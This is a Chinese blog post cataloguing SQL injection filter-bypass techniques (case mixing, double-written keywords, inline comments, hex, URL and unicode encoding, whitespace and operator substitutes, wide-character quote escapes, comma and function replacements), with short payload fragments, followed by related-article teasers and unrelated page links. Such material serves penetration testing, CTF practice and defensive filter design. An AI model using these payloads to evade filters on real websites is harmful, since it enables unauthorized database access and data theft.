sql注入常见绕过技巧
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313
https://www.cnblogs.com/vincy99/p/9642882.html
目录:
- 大小写绕过
- 双写绕过
- 内联注释绕过
- 编码绕过
- <>绕过
- 注释符绕过
- 对空格的绕过
- 对or/and的绕过
- 对等号=的绕过
- 对单引号的绕过
- 对逗号的绕过
- 过滤函数绕过
0x01 大小写绕过
UniOn SeleCt
0x02 双写绕过
ununionion seselectlect
0x03 内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
and /*!select*/ 1,2
0x04 编码绕过
16进制绕过:
select * from users where username = test1;
select * from users where username = 0x7465737431;
对关键字进行两次url全编码:
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2
unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
0x05 <>绕过
某些网站过滤了“<>”符号才行:
unio<>n sel<>ect
0x06注释符绕过
uni/**/on se/**/lect
0x07对空格的绕过
/**/
%20 %09
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
0x08 对or/and的绕过
and = &&
or = ||
0x09 对等号=的绕过
不加通配符
的like
执行的效果和=
一致,所以可以用来绕过;
rlike
的用法和上面的like
一样,没有通配符效果和=
一样;
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
<> 等价于 != ,所以在前面再加一个!
结果就是等号了
?id=1 or 1 like 1
?id=1 or 1 rlike 1
?id=1 or 1 regexp 1
?id=1 or !(1 <> 1)或者1 !(<>) 1
0x10 对单引号的绕过
宽字符
# 过滤单引号时
%bf%27 %df%27 %aa%27
使用十六进制
'users'=>0x7573657273
0x11 对逗号的绕过
盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串
select substr("string",1,3);
等价于 select substr("string" from 1 for 3);
使用join
关键字来绕过
union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join(select 3)c
使用offset关键字:
适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2
0x12 过滤函数绕过
sleep() -->benchmark()
and sleep(1)
等价于 and benchmark(1000000000,1)
group_concat()–>concat_ws()
select group_concat("str1","str2");
等价于 select concat_ws(",","str1","str2");
sql注入常见绕过技巧的更多相关文章
- Web安全之SQL注入(原理,绕过,防御)
首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...
- 跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧
背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...
- 预防XSs和sql注入常见分析
SQL注入简介SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可 ...
- sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL
题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1--> 尝试union select 1,2,3提示inj code! 经过多次尝试之后 ...
- 登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...
- SQL注入WAF绕过姿势
(1)大小写绕过 此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种. 这里有道题 (2)替换关键字 这种情况下大小写转化无法绕过而且正则表达式会替 ...
- SQL注入的绕过
一.常用符号的绕过 1.空格 1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1 ...
- SQL注入的一些技巧分享
先上一道简单的ctf注入题: 一道利用order by进行注入的ctf题 很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作. 原题地址:http://chal ...
- 发现sql注入的一些技巧
1.如果一个'导致错误,试着查看\'能否成功(因为反斜杠在MySQL中取消了单引号)2.你也可以尝试注释掉,--',看页面返回是否正常.3.如果正常的输入只是一个整数,你可以尝试减去一些量,然后查看减 ...
随机推荐
- [教程分享]锐族MP3刷固件教程
转载自我的博客:https://blog.ljyngup.com/archives/163.html/ (废话较多见谅) 在到学校前发现几个月前锐族mp3的固件更新了,赶紧刷了一个,发现网上关于这个售 ...
- ELK 记录 java log4j 类型日志
ELK 记载 java log4j 时,一个报错会生成很多行,阅读起来很不方便. 类似这样 解决这个问题的方法 1.使用多行合并 合并多行数据(Multiline) 有些时候,应用程序调试日志会包含 ...
- make: *** No targets specified and no makefile found. Stop.错误
# make make: *** No targets specified and no makefile found. Stop. # yum install gcc gcc-c++ gcc-g77 ...
- 响应式Web设计:构建令人赞叹的Web应用程序的秘诀
骨架屏(Skeleton Screen) 参考博客:https://medium.com/@owencm/reactive-web-design-the-secret-to-building-web- ...
- [WPF 自定义控件]自定义一个“传统”的 Validation.ErrorTemplate
1. 什么是Validaion.ErrorTemplate 数据绑定模型允许您将与您Binding的对象相关联ValidationRules. 如果用户输入的值无效,你可能希望在应用程序 用户界面 ( ...
- java 入门如何设计类
2019/12/24 | 在校大二上学期 | 太原科技大学 初学java后,我们会发现java难点不在于Java语法难学,而是把我们挂在了如何设计类的“吊绳”上了.这恰恰也是小白 ...
- fancybox图片灯箱功能
fancybox图片灯箱功能 在页面中引入几个文件 <script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery ...
- docker jenkins 安装
1:官方教程 https://jenkins.io/zh/doc/book/installing/ 2:拉取jenkins镜像 docker pull jenkinsci/blueocean 3:输入 ...
- 静态随机存储器SRAM存储数据原理
RAM主要的作用就是存储代码和数据供中央处理器在需要的时候进行调用.对于RAM等存储器来说仍是一样的,虽然存储的都是代表0和1的代码,但是不同的组合就是不同的数据.对于RAM存储器而言数据总线是用来传 ...
- 疫情之下,使用FRP实现内网穿透,远程连接公司电脑进行办公
当前情况下,经常会有需要到公司电脑进行一些操作,比如连接内网OA,数据库或者提交文档.为了减少外出,将使用frp进行内网穿透的方法进行一个说明. 前提条件 1. 一台拥有公网 IP 的设备(如果没有, ...